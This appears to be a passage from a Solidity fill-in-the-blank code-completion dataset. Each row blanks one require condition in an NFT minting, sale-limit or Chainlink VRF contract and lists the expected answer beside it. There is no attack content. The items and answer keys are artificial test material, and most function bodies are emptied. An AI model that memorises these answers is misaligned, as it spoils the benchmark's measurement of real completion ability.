*/
// slither-disable-next-line reentrancy-benign
function _beforeTokenTransfer(
address,
address from_,
address to_,
uint256[] memory ids_,
uint256[] memory amounts_,
bytes memory
) internal virtual override {
}
/**
* @notice Transfer token to another account
* @param to_ The address of the token receiver
* @param id_ token id
* @param amount_ Count of tokens
* @param data_ The _data argument MAY be re-purposed for the new context.
*/
function safeTransfer(
address to_,
uint256 id_,
uint256 amount_,
bytes memory data_
) external {
}
/**
* @notice Transfer tokens to another account
* @param to_ The address of the tokens receiver
* @param ids_ Array of token ids
* @param amounts_ Array of tokens count
* @param data_ The _data argument MAY be re-purposed for the new context.
*/
function safeBatchTransfer(
address to_,
uint256[] memory ids_,
uint256[] memory amounts_,
bytes memory data_
) external {
}
/*** Admin Functions ***/
/**
* @notice Sets a new emissionBooster for the NFT.
* @dev Admin function to set a new emissionBooster.
*/
function setEmissionBooster(EmissionBooster emissionBooster_) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
emissionBooster = emissionBooster_;
emit EmissionBoosterChanged(emissionBooster_);
}
/**
* @notice Set new base URI
* @param newBaseUri Base URI
*/
function setURI(string memory newBaseUri) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/*** Helper special functions ***/
function _asSingletonArray2(uint256 element) private pure returns (uint256[] memory) {
}
/**
* @notice Override function to return image URL, opensea requirement
* @param tokenId_ Id of token to get URL
* @return IPFS URI for token id, opensea requirement
*/
function uri(uint256 tokenId_) public view override returns (string memory) {
}
/**
* @param _owner Owner of tokens
* @param _operator Address to check if the `operator` is the operator for `owner` tokens
* @return isOperator return true if `operator` is the operator for `owner` tokens otherwise true
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
}
/**
* @dev Returns whether the specified token exists
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
}
}
| address(emissionBooster_)!=address(0),ErrorCodes.ZERO_ADDRESS | 129,084 | address(emissionBooster_)!=address(0) |
"Mint is locked!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NFTMint is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
enum Category { MrButerin, MrMusk, _99ETH, MrSatoshi, SatoshiNakomoto }
uint256 private constant _maxTokensInCategory = 60;
uint256 private _tokenIdCounter = 1;
uint256 private _lastMintTime = block.timestamp;
struct NFTData {
uint256 id;
Category category;
}
mapping(uint256 => NFTData) private nfts;
mapping(Category => uint256) private categoryMintCount;
constructor() ERC721("The 5 Satoshis", "TFS") Ownable(msg.sender) {}
modifier onlyValidNFTId(uint256 _id) {
}
event NFTMinted(address indexed recipient, uint256 tokenId, Category category);
event NFTCategoryAssigned(uint256 id, Category category);
event NFTBurned(uint256 tokenId);
function getCategory(uint256 _id) public view onlyValidNFTId(_id) returns (Category category) {
}
function getNFTData(uint256 _id) public view onlyValidNFTId(_id) returns (NFTData memory) {
}
function getNextId() public view returns (uint256) {
}
function getTokensInCategory(Category _category) public view returns (uint256) {
}
function burn(uint256 _id) public onlyOwner onlyValidNFTId(_id) {
}
function isLockedMint(address _recipient) public view returns (bool) {
}
function mint(
address _recipient,
Category _category,
string memory _tokenURI
) public returns (uint256) {
require(<FILL_ME>)
require(categoryMintCount[_category] < _maxTokensInCategory, "Category limit reached!");
uint256 newTokenId = _tokenIdCounter;
_safeMint(_recipient, newTokenId);
_setTokenURI(newTokenId, _tokenURI);
uint256 categoryId = categoryMintCount[_category] + 1;
nfts[newTokenId] = NFTData(newTokenId, _category);
categoryMintCount[_category] = categoryId;
_tokenIdCounter += 1;
_lastMintTime = block.timestamp + (60 * 60 * 24);
emit NFTMinted(_recipient, newTokenId, _category);
return newTokenId;
}
function transferContractOwnership(address newOwner) public onlyOwner {
}
function _update(address to, uint256 tokenId, address auth)
internal
override(ERC721, ERC721Enumerable)
returns (address)
{
}
function _increaseBalance(address account, uint128 value)
internal
override(ERC721, ERC721Enumerable)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721URIStorage)
returns (bool)
{
}
}
| isLockedMint(msg.sender),"Mint is locked!" | 129,178 | isLockedMint(msg.sender) |
"Category limit reached!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NFTMint is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
enum Category { MrButerin, MrMusk, _99ETH, MrSatoshi, SatoshiNakomoto }
uint256 private constant _maxTokensInCategory = 60;
uint256 private _tokenIdCounter = 1;
uint256 private _lastMintTime = block.timestamp;
struct NFTData {
uint256 id;
Category category;
}
mapping(uint256 => NFTData) private nfts;
mapping(Category => uint256) private categoryMintCount;
constructor() ERC721("The 5 Satoshis", "TFS") Ownable(msg.sender) {}
modifier onlyValidNFTId(uint256 _id) {
}
event NFTMinted(address indexed recipient, uint256 tokenId, Category category);
event NFTCategoryAssigned(uint256 id, Category category);
event NFTBurned(uint256 tokenId);
function getCategory(uint256 _id) public view onlyValidNFTId(_id) returns (Category category) {
}
function getNFTData(uint256 _id) public view onlyValidNFTId(_id) returns (NFTData memory) {
}
function getNextId() public view returns (uint256) {
}
function getTokensInCategory(Category _category) public view returns (uint256) {
}
function burn(uint256 _id) public onlyOwner onlyValidNFTId(_id) {
}
function isLockedMint(address _recipient) public view returns (bool) {
}
function mint(
address _recipient,
Category _category,
string memory _tokenURI
) public returns (uint256) {
require(isLockedMint(msg.sender), "Mint is locked!");
require(<FILL_ME>)
uint256 newTokenId = _tokenIdCounter;
_safeMint(_recipient, newTokenId);
_setTokenURI(newTokenId, _tokenURI);
uint256 categoryId = categoryMintCount[_category] + 1;
nfts[newTokenId] = NFTData(newTokenId, _category);
categoryMintCount[_category] = categoryId;
_tokenIdCounter += 1;
_lastMintTime = block.timestamp + (60 * 60 * 24);
emit NFTMinted(_recipient, newTokenId, _category);
return newTokenId;
}
function transferContractOwnership(address newOwner) public onlyOwner {
}
function _update(address to, uint256 tokenId, address auth)
internal
override(ERC721, ERC721Enumerable)
returns (address)
{
}
function _increaseBalance(address account, uint128 value)
internal
override(ERC721, ERC721Enumerable)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721URIStorage)
returns (bool)
{
}
}
| categoryMintCount[_category]<_maxTokensInCategory,"Category limit reached!" | 129,178 | categoryMintCount[_category]<_maxTokensInCategory |
"Random: request not found" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@chainlink/contracts/src/v0.8/ConfirmedOwner.sol";
/// @title Contract for requesting random numbers from Chainlink VRF
/// @author Charles Vien
/// @custom:juice 100%
/// @custom:security-contact [email protected]
contract Random is VRFConsumerBaseV2, ConfirmedOwner {
event RequestSent(uint256 requestId, uint32 numWords);
event RequestFulfilled(uint256 requestId, uint256[] randomWords);
struct RequestStatus {
bool exists;
bool fulfilled;
uint256[] randomWords;
}
uint64 public immutable subscriptionId;
VRFCoordinatorV2Interface public immutable coordinator;
uint256[] public requestIds;
uint256 public lastRequestId;
bytes32 public keyHash;
uint32 public callbackGasLimit;
uint32 public numWords;
uint16 public requestConfirmations;
mapping(uint256 => RequestStatus) public requests;
/**
* @notice Constructor inherits VRFConsumerBaseV2 and ConfirmedOwner
*
* @param subscriptionId_ - The ID of the VRF subscription. Must be funded
* with the minimum subscription balance required for the selected keyHash.
* @param coordinatorAddress_ - Chainlink VRF Coordinator address
* @param keyHash_ - Corresponds to a particular oracle job which uses
* that key for generating the VRF proof. Different keyHash's have different gas price
* ceilings, so you can select a specific one to bound your maximum per request cost.
* @param callbackGasLimit_ - How much gas you'd like to receive in your
* fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords
* may be slightly less than this amount because of gas used calling the function
* (argument decoding etc.), so you may need to request slightly more than you expect
* to have inside fulfillRandomWords. The acceptable range is [0, maxGasLimit]
* @param numWords_ - The number of random words you'd like to receive in
* the fulfillRandomWords callback.
* @param requestConfirmations_ - How many confirmations the Chainlink node should
* wait before responding.
*/
constructor(
uint64 subscriptionId_,
address coordinatorAddress_,
bytes32 keyHash_,
uint32 callbackGasLimit_,
uint32 numWords_,
uint16 requestConfirmations_
)
VRFConsumerBaseV2(coordinatorAddress_)
ConfirmedOwner(msg.sender)
{
}
/**
* @notice This function is called by the VRF Coordinator to fulfill requests
*
* @param requestId_ - A unique identifier of the request
* @param randomWords_ - The VRF output expanded to the requested number of words
*/
function fulfillRandomWords(
uint256 requestId_,
uint256[] memory randomWords_
)
internal
override
{
require(<FILL_ME>)
requests[requestId_].fulfilled = true;
requests[requestId_].randomWords = randomWords_;
emit RequestFulfilled(requestId_, randomWords_);
}
/**
* @notice Requests random words from the VRF Coordinator
*/
function requestRandomWords()
external
onlyOwner
{
}
/**
* @notice Returns the status of a request
*
* @param requestId_ - A unique identifier of the request
*/
function getRequestStatus(
uint256 requestId_
)
external
view
returns (bool fulfilled, uint256[] memory randomWords)
{
}
/**
* @notice Set the key hash
*
* @param keyHash_ - Corresponds to a particular oracle job which uses
* that key for generating the VRF proof. Different keyHash's have different gas price
* ceilings, so you can select a specific one to bound your maximum per request cost.
*/
function setKeyHash(bytes32 keyHash_)
external
onlyOwner
{
}
/**
* @notice Set the callback gas limit
*
* @param callbackGasLimit_ - How much gas you'd like to receive in your
* fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords
* may be slightly less than this amount because of gas used calling the function
* (argument decoding etc.), so you may need to request slightly more than you expect
* to have inside fulfillRandomWords. The acceptable range is [0, maxGasLimit]
*/
function setCallbackGasLimit(uint32 callbackGasLimit_)
external
onlyOwner
{
}
/**
* @notice Set the number of words to receive in the callback
*
* @param numWords_ - The number of random words you'd like to receive in
* the fulfillRandomWords callback.
*/
function setNumWords(uint32 numWords_)
external
onlyOwner
{
}
/**
* @notice Set the number of confirmations the Chainlink node should wait before responding
*
* @param requestConfirmations_ - How many confirmations the Chainlink node should wait before responding.
* The longer the node waits, the more secure the random value is. It must be greater than the
* minimumRequestBlockConfirmations limit on the coordinator contract.
*/
function setRequestConfirmations(uint16 requestConfirmations_)
external
onlyOwner
{
}
}
| requests[requestId_].exists,"Random: request not found" | 129,311 | requests[requestId_].exists |
"no_mint_on_the_same_block" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
// @name: Jungle POP
// @symbol: JPOP
// @desc: 7,777 Jungle POP
// @project: https://twitter.com/Junglepop_NFT
// @url: https://www.jungle-pop.io/
// @code: MT Blockchain Services
/* * * * * * * * * * * * * * * * * * *
* ██╗██████╗ ██████╗ ██████╗ *
* ██║██╔══██╗██╔═══██╗██╔══██╗ *
* ██║██████╔╝██║ ██║██████╔╝ *
* ██ ██║██╔═══╝ ██║ ██║██╔═══╝ *
* ╚█████╔╝██║ ╚██████╔╝██║ *
* ╚════╝ ╚═╝ ╚═════╝ ╚═╝ *
* * * * * * * * * * * * * * * * * * */
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract JunglePOP is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
/* set variables */
bool public collection_revealed = false;
bool public free_whitelist_sale = false;
bool public whitelist_sale = false;
bool public public_sale = false;
uint256 public cost = 0.065 ether;
uint256 public max_supply = 7777;
uint256 public max_per_wallet = 2;
uint256 public free_max_per_wallet = 1;
bytes32 public free_whitelist_merkle_root;
bytes32 public whitelist_merkle_root;
string public baseURI;
string public revealURI = "https://ipfs.io/ipfs/QmfVJp62ATN4k63mBbe7YkYZnd3nwnh5TEhYn59ntqDjUD";
/* address mapping */
mapping(address => uint256) block_address;
mapping(address => uint256) public wallet_minted;
mapping(address => uint256) public free_wallet_minted;
mapping(address => bool) public is_whitelisted;
/* constructor */
constructor() ERC721A("JunglePOP", "JPOP") {}
/* secure buy */
modifier saleModifier(uint8 purchase_type) {
require(tx.origin == msg.sender, "contracts_not_allowed_to_mint");
require(<FILL_ME>)
if(purchase_type == 1) {
require(free_whitelist_sale, "free_whitelist_sale_not_activated");
}
if(purchase_type == 2) {
require(whitelist_sale, "whitelist_sale_not_activated");
}
if(purchase_type == 3) {
require(public_sale, "public_sale_not_activated");
}
_;
}
/* free whitelist sale */
function freeWhitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(1) nonReentrant {
}
/* whitelist sale */
function whitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(2) nonReentrant {
}
/* public mint */
function publicBuy(uint256 _token_amount) external payable saleModifier(3) nonReentrant {
}
/* token return */
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/* functions */
function set_base_uri(string memory _new_base_uri) public onlyOwner {
}
function set_reveal_uri(string memory _new_reveal_uri) public onlyOwner {
}
function set_free_whitelist_sale_state(bool _new_free_whitelist_sale_state) public onlyOwner {
}
function set_whitelist_sale_state(bool _new_whitelist_sale_state) public onlyOwner {
}
function set_public_sale_state(bool _new_public_sale_state) public onlyOwner {
}
function set_collection_revealed(bool _new_collection_revealed_state) public onlyOwner {
}
function set_max_supply(uint256 _new_max_supply) public onlyOwner {
}
function set_cost(uint256 _new_cost) public onlyOwner {
}
function set_max_per_wallet(uint256 _new_max_per_wallet) public onlyOwner {
}
function set_free_max_per_wallet(uint256 _new_free_max_per_wallet) public onlyOwner {
}
function set_free_whitelist_merkle_root(bytes32 _new_free_whitelist_merkle_root) public onlyOwner {
}
function set_whitelist_merkle_root(bytes32 _new_whitelist_merkle_root) public onlyOwner {
}
/* withdraw */
function withdraw() public payable onlyOwner {
}
}
| block_address[msg.sender]<block.timestamp,"no_mint_on_the_same_block" | 129,320 | block_address[msg.sender]<block.timestamp |
"max_supply_exceedeed" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
// @name: Jungle POP
// @symbol: JPOP
// @desc: 7,777 Jungle POP
// @project: https://twitter.com/Junglepop_NFT
// @url: https://www.jungle-pop.io/
// @code: MT Blockchain Services
/* * * * * * * * * * * * * * * * * * *
* ██╗██████╗ ██████╗ ██████╗ *
* ██║██╔══██╗██╔═══██╗██╔══██╗ *
* ██║██████╔╝██║ ██║██████╔╝ *
* ██ ██║██╔═══╝ ██║ ██║██╔═══╝ *
* ╚█████╔╝██║ ╚██████╔╝██║ *
* ╚════╝ ╚═╝ ╚═════╝ ╚═╝ *
* * * * * * * * * * * * * * * * * * */
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract JunglePOP is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
/* set variables */
bool public collection_revealed = false;
bool public free_whitelist_sale = false;
bool public whitelist_sale = false;
bool public public_sale = false;
uint256 public cost = 0.065 ether;
uint256 public max_supply = 7777;
uint256 public max_per_wallet = 2;
uint256 public free_max_per_wallet = 1;
bytes32 public free_whitelist_merkle_root;
bytes32 public whitelist_merkle_root;
string public baseURI;
string public revealURI = "https://ipfs.io/ipfs/QmfVJp62ATN4k63mBbe7YkYZnd3nwnh5TEhYn59ntqDjUD";
/* address mapping */
mapping(address => uint256) block_address;
mapping(address => uint256) public wallet_minted;
mapping(address => uint256) public free_wallet_minted;
mapping(address => bool) public is_whitelisted;
/* constructor */
constructor() ERC721A("JunglePOP", "JPOP") {}
/* secure buy */
modifier saleModifier(uint8 purchase_type) {
}
/* free whitelist sale */
function freeWhitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(1) nonReentrant {
uint256 supply = totalSupply();
require(_token_amount > 0, "quantity_is_required");
require(<FILL_ME>)
require(free_wallet_minted[msg.sender] + _token_amount <= free_max_per_wallet, "free_max_per_wallet_exceeded");
require(wallet_minted[msg.sender] + _token_amount <= max_per_wallet, "max_per_wallet_exceeded");
if(!is_whitelisted[msg.sender]) {
bytes32 leaf_node = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkle_proof, free_whitelist_merkle_root, leaf_node), "invalid_free_whitelist_merkle_proof");
}
free_wallet_minted[msg.sender] += _token_amount;
wallet_minted[msg.sender] += _token_amount;
_safeMint(msg.sender, _token_amount);
}
/* whitelist sale */
function whitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(2) nonReentrant {
}
/* public mint */
function publicBuy(uint256 _token_amount) external payable saleModifier(3) nonReentrant {
}
/* token return */
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/* functions */
function set_base_uri(string memory _new_base_uri) public onlyOwner {
}
function set_reveal_uri(string memory _new_reveal_uri) public onlyOwner {
}
function set_free_whitelist_sale_state(bool _new_free_whitelist_sale_state) public onlyOwner {
}
function set_whitelist_sale_state(bool _new_whitelist_sale_state) public onlyOwner {
}
function set_public_sale_state(bool _new_public_sale_state) public onlyOwner {
}
function set_collection_revealed(bool _new_collection_revealed_state) public onlyOwner {
}
function set_max_supply(uint256 _new_max_supply) public onlyOwner {
}
function set_cost(uint256 _new_cost) public onlyOwner {
}
function set_max_per_wallet(uint256 _new_max_per_wallet) public onlyOwner {
}
function set_free_max_per_wallet(uint256 _new_free_max_per_wallet) public onlyOwner {
}
function set_free_whitelist_merkle_root(bytes32 _new_free_whitelist_merkle_root) public onlyOwner {
}
function set_whitelist_merkle_root(bytes32 _new_whitelist_merkle_root) public onlyOwner {
}
/* withdraw */
function withdraw() public payable onlyOwner {
}
}
| _token_amount+supply<=max_supply,"max_supply_exceedeed" | 129,320 | _token_amount+supply<=max_supply |
"free_max_per_wallet_exceeded" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
// @name: Jungle POP
// @symbol: JPOP
// @desc: 7,777 Jungle POP
// @project: https://twitter.com/Junglepop_NFT
// @url: https://www.jungle-pop.io/
// @code: MT Blockchain Services
/* * * * * * * * * * * * * * * * * * *
* ██╗██████╗ ██████╗ ██████╗ *
* ██║██╔══██╗██╔═══██╗██╔══██╗ *
* ██║██████╔╝██║ ██║██████╔╝ *
* ██ ██║██╔═══╝ ██║ ██║██╔═══╝ *
* ╚█████╔╝██║ ╚██████╔╝██║ *
* ╚════╝ ╚═╝ ╚═════╝ ╚═╝ *
* * * * * * * * * * * * * * * * * * */
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract JunglePOP is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
/* set variables */
bool public collection_revealed = false;
bool public free_whitelist_sale = false;
bool public whitelist_sale = false;
bool public public_sale = false;
uint256 public cost = 0.065 ether;
uint256 public max_supply = 7777;
uint256 public max_per_wallet = 2;
uint256 public free_max_per_wallet = 1;
bytes32 public free_whitelist_merkle_root;
bytes32 public whitelist_merkle_root;
string public baseURI;
string public revealURI = "https://ipfs.io/ipfs/QmfVJp62ATN4k63mBbe7YkYZnd3nwnh5TEhYn59ntqDjUD";
/* address mapping */
mapping(address => uint256) block_address;
mapping(address => uint256) public wallet_minted;
mapping(address => uint256) public free_wallet_minted;
mapping(address => bool) public is_whitelisted;
/* constructor */
constructor() ERC721A("JunglePOP", "JPOP") {}
/* secure buy */
modifier saleModifier(uint8 purchase_type) {
}
/* free whitelist sale */
function freeWhitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(1) nonReentrant {
uint256 supply = totalSupply();
require(_token_amount > 0, "quantity_is_required");
require(_token_amount + supply <= max_supply, "max_supply_exceedeed" );
require(<FILL_ME>)
require(wallet_minted[msg.sender] + _token_amount <= max_per_wallet, "max_per_wallet_exceeded");
if(!is_whitelisted[msg.sender]) {
bytes32 leaf_node = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkle_proof, free_whitelist_merkle_root, leaf_node), "invalid_free_whitelist_merkle_proof");
}
free_wallet_minted[msg.sender] += _token_amount;
wallet_minted[msg.sender] += _token_amount;
_safeMint(msg.sender, _token_amount);
}
/* whitelist sale */
function whitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(2) nonReentrant {
}
/* public mint */
function publicBuy(uint256 _token_amount) external payable saleModifier(3) nonReentrant {
}
/* token return */
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/* functions */
function set_base_uri(string memory _new_base_uri) public onlyOwner {
}
function set_reveal_uri(string memory _new_reveal_uri) public onlyOwner {
}
function set_free_whitelist_sale_state(bool _new_free_whitelist_sale_state) public onlyOwner {
}
function set_whitelist_sale_state(bool _new_whitelist_sale_state) public onlyOwner {
}
function set_public_sale_state(bool _new_public_sale_state) public onlyOwner {
}
function set_collection_revealed(bool _new_collection_revealed_state) public onlyOwner {
}
function set_max_supply(uint256 _new_max_supply) public onlyOwner {
}
function set_cost(uint256 _new_cost) public onlyOwner {
}
function set_max_per_wallet(uint256 _new_max_per_wallet) public onlyOwner {
}
function set_free_max_per_wallet(uint256 _new_free_max_per_wallet) public onlyOwner {
}
function set_free_whitelist_merkle_root(bytes32 _new_free_whitelist_merkle_root) public onlyOwner {
}
function set_whitelist_merkle_root(bytes32 _new_whitelist_merkle_root) public onlyOwner {
}
/* withdraw */
function withdraw() public payable onlyOwner {
}
}
| free_wallet_minted[msg.sender]+_token_amount<=free_max_per_wallet,"free_max_per_wallet_exceeded" | 129,320 | free_wallet_minted[msg.sender]+_token_amount<=free_max_per_wallet |
"max_per_wallet_exceeded" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
// @name: Jungle POP
// @symbol: JPOP
// @desc: 7,777 Jungle POP
// @project: https://twitter.com/Junglepop_NFT
// @url: https://www.jungle-pop.io/
// @code: MT Blockchain Services
/* * * * * * * * * * * * * * * * * * *
* ██╗██████╗ ██████╗ ██████╗ *
* ██║██╔══██╗██╔═══██╗██╔══██╗ *
* ██║██████╔╝██║ ██║██████╔╝ *
* ██ ██║██╔═══╝ ██║ ██║██╔═══╝ *
* ╚█████╔╝██║ ╚██████╔╝██║ *
* ╚════╝ ╚═╝ ╚═════╝ ╚═╝ *
* * * * * * * * * * * * * * * * * * */
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract JunglePOP is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
/* set variables */
bool public collection_revealed = false;
bool public free_whitelist_sale = false;
bool public whitelist_sale = false;
bool public public_sale = false;
uint256 public cost = 0.065 ether;
uint256 public max_supply = 7777;
uint256 public max_per_wallet = 2;
uint256 public free_max_per_wallet = 1;
bytes32 public free_whitelist_merkle_root;
bytes32 public whitelist_merkle_root;
string public baseURI;
string public revealURI = "https://ipfs.io/ipfs/QmfVJp62ATN4k63mBbe7YkYZnd3nwnh5TEhYn59ntqDjUD";
/* address mapping */
mapping(address => uint256) block_address;
mapping(address => uint256) public wallet_minted;
mapping(address => uint256) public free_wallet_minted;
mapping(address => bool) public is_whitelisted;
/* constructor */
constructor() ERC721A("JunglePOP", "JPOP") {}
/* secure buy */
modifier saleModifier(uint8 purchase_type) {
}
/* free whitelist sale */
function freeWhitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(1) nonReentrant {
uint256 supply = totalSupply();
require(_token_amount > 0, "quantity_is_required");
require(_token_amount + supply <= max_supply, "max_supply_exceedeed" );
require(free_wallet_minted[msg.sender] + _token_amount <= free_max_per_wallet, "free_max_per_wallet_exceeded");
require(<FILL_ME>)
if(!is_whitelisted[msg.sender]) {
bytes32 leaf_node = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkle_proof, free_whitelist_merkle_root, leaf_node), "invalid_free_whitelist_merkle_proof");
}
free_wallet_minted[msg.sender] += _token_amount;
wallet_minted[msg.sender] += _token_amount;
_safeMint(msg.sender, _token_amount);
}
/* whitelist sale */
function whitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(2) nonReentrant {
}
/* public mint */
function publicBuy(uint256 _token_amount) external payable saleModifier(3) nonReentrant {
}
/* token return */
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/* functions */
function set_base_uri(string memory _new_base_uri) public onlyOwner {
}
function set_reveal_uri(string memory _new_reveal_uri) public onlyOwner {
}
function set_free_whitelist_sale_state(bool _new_free_whitelist_sale_state) public onlyOwner {
}
function set_whitelist_sale_state(bool _new_whitelist_sale_state) public onlyOwner {
}
function set_public_sale_state(bool _new_public_sale_state) public onlyOwner {
}
function set_collection_revealed(bool _new_collection_revealed_state) public onlyOwner {
}
function set_max_supply(uint256 _new_max_supply) public onlyOwner {
}
function set_cost(uint256 _new_cost) public onlyOwner {
}
function set_max_per_wallet(uint256 _new_max_per_wallet) public onlyOwner {
}
function set_free_max_per_wallet(uint256 _new_free_max_per_wallet) public onlyOwner {
}
function set_free_whitelist_merkle_root(bytes32 _new_free_whitelist_merkle_root) public onlyOwner {
}
function set_whitelist_merkle_root(bytes32 _new_whitelist_merkle_root) public onlyOwner {
}
/* withdraw */
function withdraw() public payable onlyOwner {
}
}
| wallet_minted[msg.sender]+_token_amount<=max_per_wallet,"max_per_wallet_exceeded" | 129,320 | wallet_minted[msg.sender]+_token_amount<=max_per_wallet |
"invalid_free_whitelist_merkle_proof" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
// @name: Jungle POP
// @symbol: JPOP
// @desc: 7,777 Jungle POP
// @project: https://twitter.com/Junglepop_NFT
// @url: https://www.jungle-pop.io/
// @code: MT Blockchain Services
/* * * * * * * * * * * * * * * * * * *
* ██╗██████╗ ██████╗ ██████╗ *
* ██║██╔══██╗██╔═══██╗██╔══██╗ *
* ██║██████╔╝██║ ██║██████╔╝ *
* ██ ██║██╔═══╝ ██║ ██║██╔═══╝ *
* ╚█████╔╝██║ ╚██████╔╝██║ *
* ╚════╝ ╚═╝ ╚═════╝ ╚═╝ *
* * * * * * * * * * * * * * * * * * */
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract JunglePOP is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
/* set variables */
bool public collection_revealed = false;
bool public free_whitelist_sale = false;
bool public whitelist_sale = false;
bool public public_sale = false;
uint256 public cost = 0.065 ether;
uint256 public max_supply = 7777;
uint256 public max_per_wallet = 2;
uint256 public free_max_per_wallet = 1;
bytes32 public free_whitelist_merkle_root;
bytes32 public whitelist_merkle_root;
string public baseURI;
string public revealURI = "https://ipfs.io/ipfs/QmfVJp62ATN4k63mBbe7YkYZnd3nwnh5TEhYn59ntqDjUD";
/* address mapping */
mapping(address => uint256) block_address;
mapping(address => uint256) public wallet_minted;
mapping(address => uint256) public free_wallet_minted;
mapping(address => bool) public is_whitelisted;
/* constructor */
constructor() ERC721A("JunglePOP", "JPOP") {}
/* secure buy */
modifier saleModifier(uint8 purchase_type) {
}
/* free whitelist sale */
function freeWhitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(1) nonReentrant {
uint256 supply = totalSupply();
require(_token_amount > 0, "quantity_is_required");
require(_token_amount + supply <= max_supply, "max_supply_exceedeed" );
require(free_wallet_minted[msg.sender] + _token_amount <= free_max_per_wallet, "free_max_per_wallet_exceeded");
require(wallet_minted[msg.sender] + _token_amount <= max_per_wallet, "max_per_wallet_exceeded");
if(!is_whitelisted[msg.sender]) {
bytes32 leaf_node = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
}
free_wallet_minted[msg.sender] += _token_amount;
wallet_minted[msg.sender] += _token_amount;
_safeMint(msg.sender, _token_amount);
}
/* whitelist sale */
function whitelistBuy(uint256 _token_amount, bytes32[] calldata _merkle_proof) external payable saleModifier(2) nonReentrant {
}
/* public mint */
function publicBuy(uint256 _token_amount) external payable saleModifier(3) nonReentrant {
}
/* token return */
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/* functions */
function set_base_uri(string memory _new_base_uri) public onlyOwner {
}
function set_reveal_uri(string memory _new_reveal_uri) public onlyOwner {
}
